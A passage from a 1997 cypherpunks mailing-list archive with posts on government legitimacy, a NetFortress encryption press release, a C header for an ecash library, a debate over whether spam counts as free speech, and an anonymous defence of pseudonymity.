also take place on American soil?).

The U.S. government has made good use of the insinuation that if we
have things to hide, then in a free and open democracy, we must be
actively engaged in criminal activity.  Certainly, strong cryptography
of many sorts is being used to protect criminal activity.  It is also
a principle upon which the American system is based that you don't
deprive the rights and freedom of the majority, those who have not
committed any crime, merely in an effort to pursue the felonious.
This is why you still need a properly executed warrant to search an
area which has an expectation of privacy (which _is_ being slowly
eroded as a legal principle, which we need to point out as a trend).
As Tim May likes to point out, there are an increasing number of laws
that individuals can be pursued under, with ever more general levels
of interpretation.  Convictions make convicts.  Bureaucracies tend
to grow, seeking more power for themselves, until 'that which is not
compulsory is illegal, and that which is not illegal is compulsory.'
Students of history are well aware of what comes next in the cycle--
revolution.  My only observation on this is that America has always
been willing to speed through trend curves, and it looks like she is
flooring the accelerator in this case--from growing State, to global
Power, to dying Empire.  Think of it like an organic system, and
like any entity, it reacts poorly to what it rightly views as being
a threat to its own survival--cypherpunks among many.

Sign me:
A Man With Many Secrets and Much to Hide
Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 02:32:26 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970521092223.04748@bywater.songbird.com>
Message-ID: <199705211812.NAA32382@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <19970521092223.04748@bywater.songbird.com>, on 05/21/97 
   at 10:22 AM, Kent Crispin <kent@songbird.com> said:

>Who decides what are legitimate activities for government? Either the
>"elite" or the "sheeple", or some combination thereof? Strictly speaking,
>I think the "legitimate activities for government" is meaningless --
>ultimately governments *always* define their own legitimacy.  To
>precisely the extent that you are able to effectively discuss the
>"legitimate activities of government" you are in fact participating in
>the power struggle, which means you are part of the real government (just
>a small faction perhaps...)

It is very simple as to what the legitimate activities of the government
is. It is explicitly spelled out in The Constitution of The United States.
It states quite clearly in no uncertain terms what the federal government
can and can not do. Unfortunately people like yourself and the majority of
politicians feel that they can wipe their ass with this document whenever
it suits their needs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 22 May 1997 05:26:01 +0800
To: cypherpunks@toad.com
Subject: Press Release -- NetFortress Added to GSA Schedule (fwd)
Message-ID: <Pine.GSO.3.95.970521135651.6753A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 21 May 1997 16:41:29 -0400
From: Gretta Bruce <gretta@dsnt.com>
To: declan@well.com
Subject: NetFortress Added to GSA Schedule



	FOR IMMEDIATE RELEASE			CONTACT:	Gretta Bruce,  813/288-7388 
	May 21, 1997							or gretta@dsnt.com 

NETFORTRESS  ADDED TO GSA SCHEDULE
Breakthrough Network Security Solution Now Widely Available to Government
Customers

Tampa, FL.... Digital Secured Networks (DSN) Technology announced today that
its advanced encryption product, the NetFortress, has been listed on the
federal procurement schedule of the General Services Administration (GSA).
The NetFortress was added to the GSA schedule of one of DSN's federal market
VARs, Patriot Technologies Inc.

The addition of the NetFortress to the GSA Schedule (#GS-35F-4363D) makes
DSN's breakthrough encryption products widely available to customers
throughout the federal government.  Since the GSA Schedule functions as an
approved, "one-stop shop" for federal purchases, it also will shorten the
overall procurement process for federal purchasers.

"Availability and affordability are the keys for federal buyers," said
Raymond L. Weadock, DSN's President and Chief Executive Officer.
"Purchasing NetFortress products through the GSA schedule will simplify the
overall procurement process, and enable our federal customers to integrate
our superior security solutions quickly and efficiently." 

"The GSA listing for the NetFortress is an important part of our federal
sales efforts," Weadock continued.  "We have seen a significant increase in
federal customers as a result of the recent success of the NetFortress in
tests at multiple government testbeds.  We anticipate that the GSA listing
will enhance the attractiveness of our product in many of these buying
decisions."

The NetFortress stands out from other network security products because of
its unique combination of high-speed data throughput and fully-automated
encryption, authentication and key management technologies. Its
hardware-based design utilizes algorithm-independent encryption at the
network layer (supports IDEA, DES, Triple DES and FEAL), enhanced by dynamic
random key exchanges every 24 hours.  The NetFortress offers superior
security and high-speed performance in an easy-to-deploy, low-cost package.

About DSN Technology:
Digital Secured Networks (DSN) Technology was founded in 1995 by Dr. Aharon
Friedman and Mr. Andrew Savas.  Dr. Friedman, DSN's Chairman and Chief
Technology Officer, invented the breakthrough encryption technology
incorporated into the NetFortress product line.  DSN Technology is a
privately-held company.  For further information, please visit the company
website at www.dsnt.com.  

About Patriot Technologies:
Patriot Technologies, Inc., develops integrated, turnkey Internet solutions
for business, education and government clients world-wide.  With more than
50 years of computer industry experience, Patriot specializes in the design
and implementation of Internet applications for enterprise systems, with
growing concentration in the area of network security.  Key federal clients
include the U.S. Department of State, U.S. Department of Justice, and U.S.
Department of Energy.  Further information may be obtained from the company
website at www.patriot-tech.com or by calling 301/417-9899.    
 
######






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 05:35:35 +0800
To: cypherpunks@toad.com
Subject: Ecash API
Message-ID: <199705212108.OAA13411@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-dev-lucre@c2.org using -f
X-Sender: jeremey@descartes.bluemoney.com
Date: Wed, 21 May 1997 12:32:09 -0700
To: ecash-dev@digicash.com, dev-lucre@c2.net
From: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Ecash API
Mime-Version: 1.0
Sender: owner-dev-lucre@c2.net
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

Given the absence of an API from Digicash, we need a high level API so
make the task of integrating ecash into products really easy. So here's
my stab. This is the current header from my ecash library, which is a wrapper
for -lucre. -lucre is great, but it's pretty low-level, hence the wrapper.

The documentation in here is pretty incomplete, with just basic descriptions
of what functions do what. At some point it will be improved. I welcome
comments, suggestions, questions, and feature requests.

Currently, this lib handles socket transactions only, but ascii-armor
support will be added. This library will be available in some form or another
in the future, at the moment I'm just looking for feedback.

Regards,
Jeremey.


/*   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   Please view the full copyright at the bottom of this file.
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*==========================================================================*
 *
 * ecash.h
 *
 * Written by: Jeremey Barrett
 *
 * $Revision: 1.2 $
 */

#ifndef _ECASH_H_
#define _ECASH_H_


#include <Vlib.h>                           /* utility header */
#include <lucre.h>                          /* -lucre header */


/*-------------------------------------------------------------------- 
 * Types
 */

typedef struct _ECSocket ECSocket;
typedef struct _ECPayment ECPayment;
typedef struct _ECPocket ECPocket;
typedef struct _ECConfig ECConfig;
typedef struct _ECError ECError;



/*-------------------------------------------------------------------- 
 * Errors
 */

#define ECError_NONE                   0
#define ECError_INVALID                -1
#define ECError_ECSYS                  -2
#define ECError_SYS                    -3
#define ECError_TCP                    -4
#define ECError_READ                   -5
#define ECError_WRITE                  -6
#define ECError_BIGNUM                 -7
#define ECError_MSGNEW                 -8
#define ECError_WALLETCREATE           -9
#define ECError_NOMEM                  -10
#define ECError_POCKETOPEN             -11
#define ECError_POCKETPASSWD           -12
#define ECError_NOBANKACCOUNT          -13
#define ECError_WITHDRAWAMOUNTLOW      -14
#define ECError_DEPOSITPAYMENT         -15
#define ECError_DEPOSITALLPAYMENTS     -16
#define ECError_DEPOSITRECDB           -17
#define ECError_DEPOSITREJECTED        -18
#define ECError_WALLETSTATUS           -19
#define ECError_DEPOSIT                -20
#define ECError_WITHDRAW               -21
#define ECError_NOPOCKETPASSWD         -22
#define ECError_ECMSGINVALID           -23
#define ECError_SENDMSGCALLBACK        -24
#define ECError_MAGIC                  -25
#define ECError_APPENDMSG              -26
#define ECError_PAYMENTACCEPT          -27
#define ECError_PAYMENTACCEPTBADAMOUNT -28
#define ECError_PAYMENTREJECTED        -29
#define ECError_PAYMENTMAKE            -30
#define ECError_PAYREQRECEIVE          -31
#define ECError_PAYREQCURRENCYUNKNOWN  -32
#define ECError_PAYMENTREQUEST         -33
#define ECError_PAYMENTACK             -34
#define ECError_PAYDB                  -35
#define ECError_NOPAYMENTS             -36
#define ECError_WALLETCOINS            -37
#define ECError_EXCHANGECOINS          -38
#define ECError_EXCHANGEREJECTED       -39
#define ECError_NOTENOUGHCASH          -40

#define ECNoError ((ECError *)NULL)




/*-------------------------------------------------------------------- 
 * ECPocket APIs
 *
 * Very preliminary documentation (will get enhanced later, I'm just
 * documenting the less obvious here.
 *
 * EC_Pocket_open() - Open an existing pocket, with location and
 *                    passphrase set in the ECConfig *.
 *
 * EC_Pocket_openAccount() - Create a new pocket with the attributes
 *                           in the ECConfig *. This does _not_ open
 *                           the pocket. This is for pockets which
 *                           have mint accounts only.
 *
 * EC_Pocket_openNoAccount() - Create a new pocket with the attributes
 *                             in the ECConfig *. This does _not_ open
 *                             the pocket. This creates an accountless
 *                             pocket, so the mintAddr and mintPort of
 *                             the ECConfig * should point to the
 *                             moneychanger. Note that mintID is still
 *                             required. This will open a connection
 *                             to the moneychanger and retrieve currency
 *                             keys for the mint.
 *
 * EC_Pocket_withdraw() - Withdraw from a mint account.
 *
 * EC_Pocket_withdrawProtoCoins() - Complete and withdraw the coins in
 *                                  the EC_M_Withdraw3 (a -lucre struct).
 *                                  amt is the value of the coins being
 *                                  withdrawn.
 *
 * EC_Pocket_deposit() - Deposit amount into mint account
 *
 * EC_Pocket_depositWithdraw() - Deposit coins and immediately withdraw
 *                               the same amount. This allows for exchanges
 *                               of coins and altering the stored 
 *                               denominations. Call this when you don't have
 *                               the right coins on hand for a payment.
 *
 * EC_Pocket_exchangeCoins() - Exchange coins (via moneychanger), same as
 *                             above but w/o mint.
 *
 * EC_Pocket_getCoinInfo() - Returns information about the denominations
 *                           available for a given amount. max_avail is the
 *                           largest amount the pocket can make less than the
 *                           amount specified. min_dep is the smallest amount 
 *                           to exchange which will guarantee the ability to 
 *                           make amount, provided min_dep is withdrawn in 
 *                           base units (i.e. 1 cent).
 *
 */
ECPocket *EC_Pocket_create( void );
ECPocket *EC_Pocket_copy( ECPocket *this );
ECError *EC_Pocket_destroy( ECPocket *this );
ECError *EC_Pocket_open( ECPocket *this, 
          ECConfig *conf );
ECError *EC_Pocket_openAccount( ECConfig *conf );
ECError *EC_Pocket_openNoAccount( ECConfig *conf );
ECError *EC_Pocket_withdraw( ECPocket *this, 
              Int32 amount, 
              Int32 minPayments );
ECError *EC_Pocket_withdrawProtoCoins( ECPocket *this, 
                   ECSocket *sock, 
                   EC_M_Withdraw3 wd3, 
                   Int32 amt );
ECError *EC_Pocket_deposit( ECPocket *this, 
             Int32 amount );
ECError *EC_Pocket_depositWithdraw( ECPocket *this, 
                Int32 amount, 
                Int32 payments );
ECError *EC_Pocket_exchangeCoins( ECPocket *this, 
              Int32 amount, 
              Int32 payments,
              char *host, 
              char *port );
ECError *EC_Pocket_getMintID( ECPocket *this, 
               UInt32 *id );
ECError *EC_Pocket_getCurrency( ECPocket *this, 
            UInt32 *cur );
ECError *EC_Pocket_getAccountName( ECPocket *this, 
               char **name );
ECError *EC_Pocket_getCash( ECPocket *this, 
             UInt32 *cash );
ECError *EC_Pocket_getBalance( ECPocket *this, 
                UInt32 *bal );
ECError *EC_Pocket_getCashStr( ECPocket *this, 
                char **cash_str );
ECError *EC_Pocket_getBalanceStr( ECPocket *this, 
              char **bal_str );
ECError *EC_Pocket_getCoinInfo( ECPocket *this, 
            UInt32 amount, 
            UInt32 *max_avail,
            UInt32 *min_dep );
Int32 EC_Pocket_isAccountless( ECPocket *this );



/*-------------------------------------------------------------------- 
 * ECSocket APIs
 *
 *
 * Simple set of socket APIs. These functions manage the ecash TCP
 * protocol for you. Documentation later.
 *
 * EC_Socket_setCallbacks() - Sets send and receive callbacks for
 *                            sending ecash messages. These will be
 *                            called _after_ the message is encoded 
 *                            with the ecash TCP header.
 */
ECSocket *EC_Socket_create( UInt32 type );
ECError *EC_Socket_setCallbacks( ECSocket *this,  
             UInt32 (*sendcallback)( void *cbInfo,
                      UChar *msg, 
                      UInt32 len ),
             UInt32 (*recvCallback)( void *cbInfo,
                      UChar **msg,
                      UInt32 *len),
             void *cbInfo );
ECSocket *EC_Socket_createFromFd( char *haddr, char *hport, Int32 fd );
ECError *EC_Socket_open( ECSocket *this, char *haddr, char *hport );
ECError *EC_Socket_accept( ECSocket *this, ECSocket *new );
ECError *EC_Socket_listen( ECSocket *this, char *hport );
ECError *EC_Socket_sendMsg( ECSocket *this, EC_M_Msg msg );
ECError *EC_Socket_recvMsg( ECSocket *this, EC_M_Msg msg );
TCPSocket *EC_Socket_getTCPSocket( ECSocket *this );



/*-------------------------------------------------------------------- 
 * ECConfig APIs
 */
ECConfig *EC_Config_create( void );
ECConfig *EC_Config_copy( ECConfig *this );
ECError *EC_Config_destroy( ECConfig *this );
ECError *EC_Config_setAccountName( ECConfig *this, char *name );
ECError *EC_Config_setAccountPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketDir( ECConfig *this, char *path );
ECError *EC_Config_setMintID( ECConfig *this, UInt32 mintID );
ECError *EC_Config_setMintAddr( ECConfig *this, char *host );
ECError *EC_Config_setMintPort( ECConfig *this, char *port );




/*-------------------------------------------------------------------- 
 * ECPayment APIs
 *
 * The important functions here are accept(), make(), request(), and
 * variants. Note that this is all socket based, there will be ascii
 * armor variants soon, but not now.
 *
 * EC_Payment_accept() - accept an online payment. The this pointer
 *                       points to an ECPayment with the expected
 *                       amount set. This amount is checked and an
 *                       error will be returned if the incoming payment
 *                       does not agree. The ECSocket * is an already
 *                       open socket to the payer. This function will
 *                       automatically handle accountless pockets, so
 *                       explicitly calling the NoAccount variant is
 *                       not necessary.
 *
 * EC_Payment_accept1() - same as above, but the payment is _not_ acked
 *                        to the payer.
 *
 * EC_Payment_acceptNoAccount() - same as accept() but for accountless
 *                                pockets. Gets called by accept() if
 *                                the pocket is accountless.
 *
 * EC_Payment_acceptNoAccount1() - same as above, but the payment is _not_
 *                                 acked to the payer.
 *
 * EC_Payment_handle() - Unconditionally accept a -lucre EC_M_Payment. This
 *                       will _not_ check amounts. It will handle NoAccount
 *                       automatically.
 *
 * EC_Payment_handleNoAccount() - same as above except for accountless 
 *                                pockets. Called by handle() if the pocket 
 *                                is accountless.
 *
 * EC_Payment_make() - make a payment over the ECSocket passed. This
 *                     function _expects_ a payment ack. Use make1() if
 *                     none will arrive.
 *
 * EC_Payment_make1() - same as above, but does not wait for an ack.
 *
 * EC_Payment_receiveRequest() - Receive a payment request on the ECSocket
 *                               passed. Returns the information in the
 *                               this pointer.
 *
 * EC_Payment_request() - Send a payment request over the ECSocket passed.
 */
ECPayment *EC_Payment_create( ECPocket *pocket );
ECError *EC_Payment_setAmount( ECPayment *this, Int32 amt );
ECError *EC_Payment_setTimestamp( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setSeqNo( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setDescription( ECPayment *this, char *desc );
ECError *EC_Payment_setRecipientName( ECPayment *this, char *name );
ECError *EC_Payment_setRecipientMint( ECPayment *this, UInt32 id );
ECError *EC_Payment_getAmount( ECPayment *this, UInt32 *amt );
ECError *EC_Payment_getSeqNo( ECPayment *this, UInt32 *seqno );
ECError *EC_Payment_getTimestamp( ECPayment *this, UInt32 *timestamp );
ECError *EC_Payment_getDescription( ECPayment *this, char **desc );
ECError *EC_Payment_getRecipientName( ECPayment *this, char **name );
ECError *EC_Payment_getRecipientMint( ECPayment *this, UInt32 *id );
ECError *EC_Payment_accept( ECPayment *this, ECPocket *pocket,
             ECSocket *sock );
ECError *EC_Payment_accept1( ECPayment *this, ECPocket *pocket,
              ECSocket *sock );
ECError *EC_Payment_acceptNoAccount( ECPayment *this, ECPocket *pocket,
                 ECSocket *sock );
ECError *EC_Payment_acceptNoAccount1( ECPayment *this, ECPocket *pocket,
                  ECSocket *sock );
ECError *EC_Payment_handle( ECPayment *this, ECPocket *pocket, 
             EC_M_Payment payment );
ECError *EC_Payment_handleNoAccount( ECPayment *this, ECPocket *pocket, 
                 EC_M_Payment payment );
ECError *EC_Payment_make( ECPayment *this, ECPocket *pocket, ECSocket *sock );
ECError *EC_Payment_make1( ECPayment *this, ECPocket *pocket, ECSocket *sock 
);
ECError *EC_Payment_receiveRequest( ECPayment *this, ECPocket *pocket, 
                ECSocket *sock );
ECError *EC_Payment_request( ECPayment *this, ECPocket *pocket, ECSocket
*sock 
);



/*-------------------------------------------------------------------- 
 * ECError APIs
 */
ECError *EC_Error_create( void );
ECError *EC_Error_returnValue( Int32 errno );
ECError *EC_Error_returnTCPError( TCPError *err );
ECError *EC_Error_returnLibError( Int32 errno, Int32 libErrno );






#endif /* _ECASH_H_*/

/* <COPYRIGHT_PUB>
 *
 *   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   This is a published work of the VeriWeb Internet Corporation
 *   ("VeriWeb").  Permission to use and/or redistribute may be 
 *   obtained upon prior written permission by VeriWeb, and 
 *   provided that the following conditions are also met:
 *
 *      1. Redistributions of source code, including binary forms, 
 *         must retain the above copyright notice, this list of 
 *         conditions, and the following disclaimer.
 *
 *      2. Documentation and/or other materials provided with any
 *         redistribution must contain the above copyright notice, 
 *         this list of conditions, and the following disclaimer.
 *
 *      3. All advertising materials mentioning features or use of 
 *         this software must display the following acknowledgement:
 *              
 *              This product includes software developed by
 *              the VeriWeb Internet Corporation and its contributors.
 *
 *      4. Neither the name of the VeriWeb nor the names of its 
 *         contributors may be used to endorse or promote products 
 *         derived from this software without specific prior written 
 *         permission.
 *
 *   THIS SOFTWARE IS PROVIDED BY VERIWEB AND CONTRIBUTORS ``AS IS''.  
 *   THEREFORE, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 
 *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 
 *   FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL VERIWEB 
 *   OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
 *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
 *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
 *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED, AND ON 
 *   ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *   OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
 *   OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 
 *   OF SUCH DAMAGE.
 *
 * </COPYRIGHT_PUB>
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*eof*/


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 22 May 1997 03:58:58 +0800
To: Ross Wright <paul@fatmans.demon.co.uk>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970521144153.00ac47e0@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 05:51 PM 5/15/97 +0000, Paul Bradley <paul@fatmans.demon.co.uk> wrote:
>> > > You can not retaliate against free
>> > > speech, Rick.  That's a bad thing, plain and simple, black and
>> > > white.
>
>Retaliation by force against speech is wrong, more speech is not 
>unethical. It might be unpleasant, but not wrong.
>
>> No shit, you just can't send 10,000 megs of info in retaliation for a 
>> few bits.  Really, there's no call for that.  It's wrong. 
>
>To make a brief analogy: Say you are a market researcher, and you 
>approach me in the street and ask for some time to answer your questions, 
>I do not commit any ethical wrongdoing if I stand there and scream at you 
>for several minutes. If I physically attack you I commit a crime. 
>
>All internet traffic is speech, including syn-ack flood attacks and any 
>other denial of service attempt. This is plain and simple, we have to 
>find technological means of thwarting these attacks, they are not 
>unethical, unpleasant yes, immoral no. 

In the case of shrieking at the researcher, the researcher can simply walk
away.  In the case of a network connection, the ISP cannot simply unplug.

>> >   It costs me money to download unwanted spam. What's this "free"
>> > bullshit?
>> 
>> What?  Like 80 cents per gig?  Please a bit here and a byte there 
>> isn't going to break anyone.  Could someone do the math?
>
>I won`t do the math but the point is it "costs" you energy to listen to 
>someone speaking in the street, sure, it is a very small amount, but it 
>does cost energy from a strict biological point of view.
>This does not lead me to believe any crime is commited by someone 
>speaking to, or at me.

No, spam DOES cost the victim.  I'm not saying that the victim is the spam
recipient.  Think of the ISPs that are the victims of Spamford's
CyberPromotions.  Yes, victims.  Their entire businesses consist of keeping
wires from one side of routers connected to the internet while the wires on
the other side attach to modems and a handful of host computers to serve
mail, news, etc.  When Spamford sends out his 15000 messages, he is denying
the ISPs the bandwidth, CPU and disk storage they are paying for.  By
filling the ISP's drives, he is also denying every customer of those ISPs
from receiving incoming email.

Here's Spamford's M.O., to those of you unfamiliar with how CyberPromo
Makes Money Fast:

1.  Advertise to people that they can send out bulk e-mail for a fixed cost.

2.  Ethically-challenged persons who dream of Making Money Fast draft their
Ponzi schemes, and send them, along with a certain amount of very
non-refundable money, to CyberPromo.

3.  CyberPromo sends out the spam by routing it through sendmail demons
running on other peoples' (the victims') machines.

4.  The complaints and threats of lawsuits land squarely on the shoulders
of the persons unfortunate enough to be running the sendmails.  It is,
after all, their machine which is the origin of the spam.  Just look in the
headers.

5.  The original ethically-challenged persons never see responses to their
original paid-for spam; CyberPromo knows this from the get-go but certainly
won't inform the spammers of this.

6.  When confronted with evidence of the Ponzi schemes by the sendmail
operator, Mr. Wallace replies: "Shame on those nasty users, I'll terminate
their accounts."

7.  Spamford continues to route other spam through the hapless sendmail
operators -- his dozens of registered domains make it extremely tough to
prevent source blocking.

8.  The FBI comes to visit the victimized sendmail operator, investigating
*them* for running pyramid scams.

This situation is the exact situation that has entangled my ISP for the
last couple of months.

Are you telling me that being subjected to a jack-boot investigation for
running pyramid schemes *and* having your customers leave because they
can't get mail services is a reasonable expense to bear because of
Spamford's "right to free speech"?  Spamford's speech (or that of his
"customers") isn't even directed at the sendmail operator or his customers.
 The sendmail operator above is merely being used by Spamford as a
megaphone to broadcast the message of spam to other people (who really
don't want it, either, but that's beside the point.)

It's no longer the same as shouting down the marketing researcher.  

What Spamford has done is to see me walking down the sidewalk carrying a
megaphone, and grab me and tell me that I must stand there and hold my
megaphone in front of some spammer's mouth while the spammer shouts at a
crowd of people who don't want to hear him.  All the while, you stand there
next to Spamford and claim that I must continue to hold my megaphone for
the spammer because it's his "right to free speech", and the only way to
avoid it is to turn my megaphone off, denying me the ability to allow
anyone else to use my megaphone.

The icing on this cake is that if the spammer starts announcing "Make Money
Fast" over my megaphone, the FBI will come and investigate ME because I'm
the one holding the megaphone!

Free speech is NOT the subject here.  My right to walk down the street with
my (lawfully registered) megaphone has been usurped by a thug.  You're
telling me that every megaphone owner has a *duty* to hold it in front of
every spammer's
mouth.  Remember, these are finite megaphones.  They have batteries that
need replacing, and the owners are stuck standing there holding them while
the spammers speak as long as they want.  Sorry, but those megaphone owners
may have other things to do with their megaphones and their time.  You're
confusing "the right to free speech" with "the right to kidnap megaphone
owners".

In this particular case, of course, there was a technical solution:
install a sendmail to prevent routing of incoming mail.  ISPs and
corporations around the globe will need this new hardened sendmail to keep
the spammers away.  Restricting the speech they carry.  Turning off the
megaphones.

Spam is interfering with the *real* victim's (the sendmail operator's)
ability to provide customer service; in a very real and fiscally damaging
way.  It's also restricting the traffic he can carry to only that speech
originating from
his domain.  His right to carry YOUR speech has been restricted by his
technical solution to keep his machine alive.

What is ultimately likely to happen, however, is that Mr. Wallace will be
prosecuted under existing laws for swindling the original MMF spammers.
He's profiting by charging them to steal resources from ISPs.  He *might*
be able to avoid prosecution by putting a "warning sticker" on his
advertising saying something to the effect that, "if you send a Make Money
Fast scam out, the jack-booted thugs will come and haul you away faster
than I can send out your e-mails."  But then he'd have no business at all!

I'm not trying to claim that Mr. Wallace does or does not have the right to
speak to us.  I simply want to point out that there is real monetary loss
to the real victims of his spamming.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 06:11:21 +0800
To: cypherpunks@toad.com
Subject: Re: attila the hun (was Re: Wine Politics Again!)
Message-ID: <199705212141.OAA14578@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> >       [rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak
> > >anonymously has destroyed this poor souls brain.
 
  When Attila T. Hun posts to the list, I can tell you how many
hours, days and minutes it has been since his last post. I know
when I see his name on a post that he has something to say. 
  Perhaps the most telling comment I have heard about him was
when a fellow cypherpunk said about Attila, "When he replies to
one of my posts I never know if he's going to kiss me or rip
me a new asshole.  He doesn't respond to my _reputation capital_
or my perceived net persona--he responds to what I express in
my posting."

  I don't have a problem with the opinions or points of view that
Kent expresses on the cypherpunks list, but I do have a problem
with the fact that his posts seem to reflect a pre-programmed
world-view, with little thought given to the actual content and
concepts expressed by those he is replying to.
  I find Kent's posts to be much like the ASCII art that is posted
to the list--each post is slightly different, but predictable. The
aspersions that Kent casts on those such as Attila and Tim serve
no purpose other than to accentuate the fact that he is envious
of their propensity for dealing on a real-world level with the
concepts he addresses from an intellectual ivory tower.

> > Attila's not anonymous - he's a regular poster, and has been
> > for long enough to build up some reputation around his penname.

  There are people I have known for years--their _real_ name, where
they live, went to school, the annual average rainfall in their
hometown, etc.--but I know very little about who they really are--
how they think, what they believe, etc.
   I know a lot more about Attila T. Hun. His posts reflect who he
is, where he's been, what he's done, and his perceptions about
himself and the world around him. His posts reflect his persona.
   Kent's posts reflect, in my opinion, what he has "learned to
believe." When I read Kent's posts, I don't feel like I learn
who he is, but rather, I learn the "position" that he is taking
on this or that point.
   Real name/anonymity aside, I see Attila as real and Kent as a
shadowy figure. My advice to Kent would be, "If you're going to
be an asshole, at least be a _real_ asshole." I enjoy the exchange
of differing viewpoints (and genuine conflicts) on the cypherpunks
list, because it gives me food for thought about positions and
viewpoints that I have dichotimous feelings about, but I have
little use for lukewarm, passive-aggressive exchanges. (I prefer
the pissing contests between raving maniacs.)

> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.

  I have used a variety of "names" as a writer, musician and as a
fugitive from injustice. Whenever I looked in the mirror, however,
I always saw the same face. And no matter what "persona" I am using,
I find that I feel most like "myself" when I speak and act honestly,
no matter whether my stance is homeostatic or dichotymous.
  I have done traffic/personality/pseudonym analysis on the list for
years and have uncovered a plethora of anonymous personas. Some use
anonymity to "step out of" their regular list persona. Some use it
to address issues that could not deal with under their regular
persona because of a need to protect their perceived public/social
image. Some use anonymity because of personal or business conflicts
that could be used against them by those who feel threatened by
honesty. Others use anonymity because it is fun to play "hide and
seek" with list members who know them well enough to suspect who
they _really_ are.

  I first encountered the "TruthMonger" persona in 1989 and have
followed its evolution since that time. The better I got at 
tracking the various entities assuming the TruthMonger persona,
the more I realized that those who claim to "know" or "expose"
who a particular TruthMonger _really_ is are wrong about
90% of the time.
  The reason for this is simple.
  Once we form an "opinion" of _who_ somebody is and _what_they_
believe_, and _who_they_are_, then we "interpret" what they
have to say in their posts in accordance with our learned
perception of them. Accordingly, we fail to see the naturally
occuring dichotomys and inconsistencies that are inherent in
living, learning and adapting to the evolution of thought which
comes with an expanding mental and emotional paridigm.
  When the same person posts anonymously, then those who know
them and have an "opinion" of who they are and what they think
can no longer categorize their post automatically and interpret
it in the "usual" manner.

  Anonymity forces the reader to consider the content that is
contained in the post, rather than automatically consigning it
to the proper "box" according to the established persona of a
regular poster.
  Many people are not comfortable with not being able to
"assign" an anonymous persona with the author's appropriate
mental "box" so they attribute this or that post with this
or that list member and respond accordingly.

  I am posting this anonymously.
  Who am I? I am the person who believes what I have written here
and who doesn't want what I am expressing to be classified 
according to what I wrote yesterday.

I am:
TruthMonger # -96





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
